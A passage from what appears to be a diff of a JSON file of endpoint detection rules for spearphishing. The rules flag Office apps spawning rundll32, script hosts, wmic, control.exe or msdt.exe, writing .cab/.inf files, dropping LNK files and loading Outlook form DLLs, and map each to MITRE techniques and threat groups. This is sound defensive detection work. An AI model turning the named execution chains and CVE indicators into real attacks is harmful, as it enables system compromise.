code, potentially leading to data exfiltration, system compromise, or further malware deployment. Immediate investigation and containment are recommended.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\", \"msaccess.exe\", \"Graph.exe\",\"winproj.exe\") `process_rundll32` (Processes.process!=*.dll*) by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `office_product_spawning_rundll32_with_no_dll_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "office parent process $parent_process_name$ will execute a suspicious child process $process_name$ with process id $process_id$ and no dll commandline $process$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Product Spawning Windows Script Host", - "description": "The following analytic detects an Office product spawning WScript.exe or CScript.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where Office applications are the parent processes. This activity is significant because it may indicate the execution of potentially malicious scripts through Office products, a common tactic in phishing attacks and malware delivery. If confirmed malicious, this behavior could lead to unauthorized code execution, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\", \"msaccess.exe\",\"Graph.exe\",\"winproj.exe\") Processes.process_name IN (\"wscript.exe\", \"cscript.exe\") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `office_product_spawning_windows_script_host_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "Remcos", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "office parent process $parent_process_name$ will execute a suspicious child process $process_name$ on host $dest$.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Product Spawning Wmic", - "description": "The following analytic detects any Windows Office Product spawning `wmic.exe`, specifically when the command-line of `wmic.exe` contains `wmic process call create`. This behavior is identified using data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process relationships. This activity is significant as it is commonly associated with the Ursnif malware family, indicating potential malicious activity. If confirmed malicious, this could allow an attacker to execute arbitrary commands, leading to further system compromise, data exfiltration, or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\",\"msaccess.exe\", \"Graph.exe\",\"winproj.exe\") `process_wmic` by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `office_product_spawning_wmic_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "FIN7", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "office parent process $parent_process_name$ will execute a suspicious child process $process_name$ with process id $process_id$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Product Writing cab or inf", - "description": "The following analytic detects Office products writing .cab or .inf files, indicative of CVE-2021-40444 exploitation. It leverages the Endpoint.Processes and Endpoint.Filesystem data models to identify Office applications creating these file types. This activity is significant as it may signal an attempt to load malicious ActiveX controls and download remote payloads, a known attack vector. If confirmed malicious, this could lead to remote code execution, allowing attackers to gain control over the affected system and potentially compromise sensitive data.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"wordpad.exe\",\"wordview.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\",\"msaccess.exe\") by _time span=1h Processes.process_id Processes.process_name Processes.process Processes.dest Processes.process_guid | `drop_dm_object_name(Processes)` |rename process_guid as proc_guid | join proc_guid, _time [ | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*.inf\",\"*.cab\") by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path Filesystem.process_guid | `drop_dm_object_name(Filesystem)` |rename process_guid as proc_guid | fields _time dest file_create_time file_name file_path process_name process_path process proc_guid] | dedup file_create_time | table dest, process_name, process, file_create_time, file_name, file_path, proc_guid | `office_product_writing_cab_or_inf_filter`", - "tags": { - "analytic_story": [ - "Microsoft MSHTML Remote Code Execution CVE-2021-40444", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on $dest$ writing an inf or cab file to this. This is not typical of $process_name$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Spawning Control", - "description": "The following analytic identifies instances where `control.exe` is spawned by a Microsoft Office product. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process relationships. This activity is significant because it can indicate exploitation attempts related to CVE-2021-40444, where `control.exe` is used to execute malicious .cpl or .inf files. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"wordpad.exe\",\"wordview.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\",\"msaccess.exe\") Processes.process_name=control.exe by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `office_spawning_control_filter`", - "tags": { - "analytic_story": [ - "Microsoft MSHTML Remote Code Execution CVE-2021-40444", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ clicking a suspicious attachment.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Process Creating LNK file in Suspicious Location", - "description": "The following analytic detects a process creating a `.lnk` file in suspicious locations such as `C:\\User*` or `*\\Local\\Temp\\*`. It leverages filesystem and process activity data from the Endpoint data model to identify this behavior. This activity is significant because creating `.lnk` files in these directories is a common tactic used by spear phishing tools to establish persistence or execute malicious payloads. If confirmed malicious, this could allow an attacker to maintain persistence, execute arbitrary code, or further compromise the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_name=\"*.lnk\" AND (Filesystem.file_path=\"C:\\\\Users\\\\*\" OR Filesystem.file_path=\"*\\\\Temp\\\\*\") by _time span=1h Filesystem.process_guid Filesystem.file_name Filesystem.file_path Filesystem.file_hash Filesystem.user | `drop_dm_object_name(Filesystem)` | rename process_guid as lnk_guid | join lnk_guid _time [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=* by _time span=1h Processes.parent_process_name Processes.parent_process_guid Processes.process_name Processes.dest Processes.process Processes.path | `drop_dm_object_name(Processes)` | rename parent_process_guid as lnk_guid] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table firstTime, lastTime, lnk_guid, user, dest, file_name, file_path, process_name, process, process_path, file_hash | `process_creating_lnk_file_in_suspicious_location_filter`", - "tags": { - "analytic_story": [ - "Amadey", - "IcedID", - "Qakbot", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A process $process_name$ that launching .lnk file in $file_path$ in host $dest$", - "risk_score": 63, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.002", - "mitre_attack_technique": "Spearphishing Link", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows InProcServer32 New Outlook Form", - "description": "The following analytic detects the creation or modification of registry keys associated with new Outlook form installations, potentially indicating exploitation of CVE-2024-21378. It leverages data from the Endpoint.Registry datamodel, focusing on registry paths involving InProcServer32 keys linked to Outlook forms. This activity is significant as it may signify an attempt to achieve authenticated remote code execution via malicious form objects. If confirmed malicious, this could allow an attacker to create arbitrary files and registry keys, leading to remote code execution and potential full system compromise.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry where Registry.registry_path=\"*\\\\InProcServer32\\\\*\" Registry.registry_value_data=*\\\\FORMS\\\\* by Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.dest Registry.process_guid Registry.user | `drop_dm_object_name(Registry)` |`security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_inprocserver32_new_outlook_form_filter`", - "tags": { - "analytic_story": [ - "Outlook RCE CVE-2024-21378" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A registry key associated with a new Outlook form installation was created or modified. This could indicate exploitation of CVE-2024-21378 on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows ISO LNK File Creation", - "description": "The following analytic detects the creation of .iso.lnk files in the %USER%\\AppData\\Local\\Temp\\\\ path, indicating that an ISO file has been mounted and accessed. This detection leverages the Endpoint.Filesystem data model, specifically monitoring file creation events in the Windows Recent folder. This activity is significant as it may indicate the delivery and execution of potentially malicious payloads via ISO files. If confirmed malicious, this could lead to unauthorized code execution, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\Microsoft\\\\Windows\\\\Recent\\\\*\") Filesystem.file_name IN (\"*.iso.lnk\", \"*.img.lnk\", \"*.vhd.lnk\", \"*vhdx.lnk\") by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.file_path Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_iso_lnk_file_creation_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Amadey", - "Azorult", - "Brute Ratel C4", - "IcedID", - "Qakbot", - "Remcos", - "Spearphishing Attachments", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An ISO file was mounted on $dest$ and should be reviewed and filtered as needed.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1204.001", - "mitre_attack_technique": "Malicious Link", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Windows Office Product Spawning MSDT", - "description": "The following analytic detects a Microsoft Office product spawning the Windows msdt.exe process. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where Office applications are the parent process. This activity is significant as it may indicate an attempt to exploit protocol handlers to bypass security controls, even if macros are disabled. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"outlook.exe\",\"mspub.exe\",\"visio.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\",\"msaccess.exe\") Processes.process_name=msdt.exe by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `windows_office_product_spawning_msdt_filter`", - "tags": { - "analytic_story": [ - "Microsoft Support Diagnostic Tool Vulnerability CVE-2022-30190", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "Office parent process $parent_process_name$ has spawned a child process $process_name$ on host $dest$.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Phishing Outlook Drop Dll In FORM Dir", - "description": "The following analytic detects the creation of a DLL file by an outlook.exe process in the AppData\\Local\\Microsoft\\FORMS directory. This detection leverages data from the Endpoint.Processes and Endpoint.Filesystem datamodels, focusing on process and file creation events. This activity is significant as it may indicate an attempt to exploit CVE-2024-21378, where a custom MAPI form loads a potentially malicious DLL. If confirmed malicious, this could allow an attacker to execute arbitrary code, leading to further system compromise or data 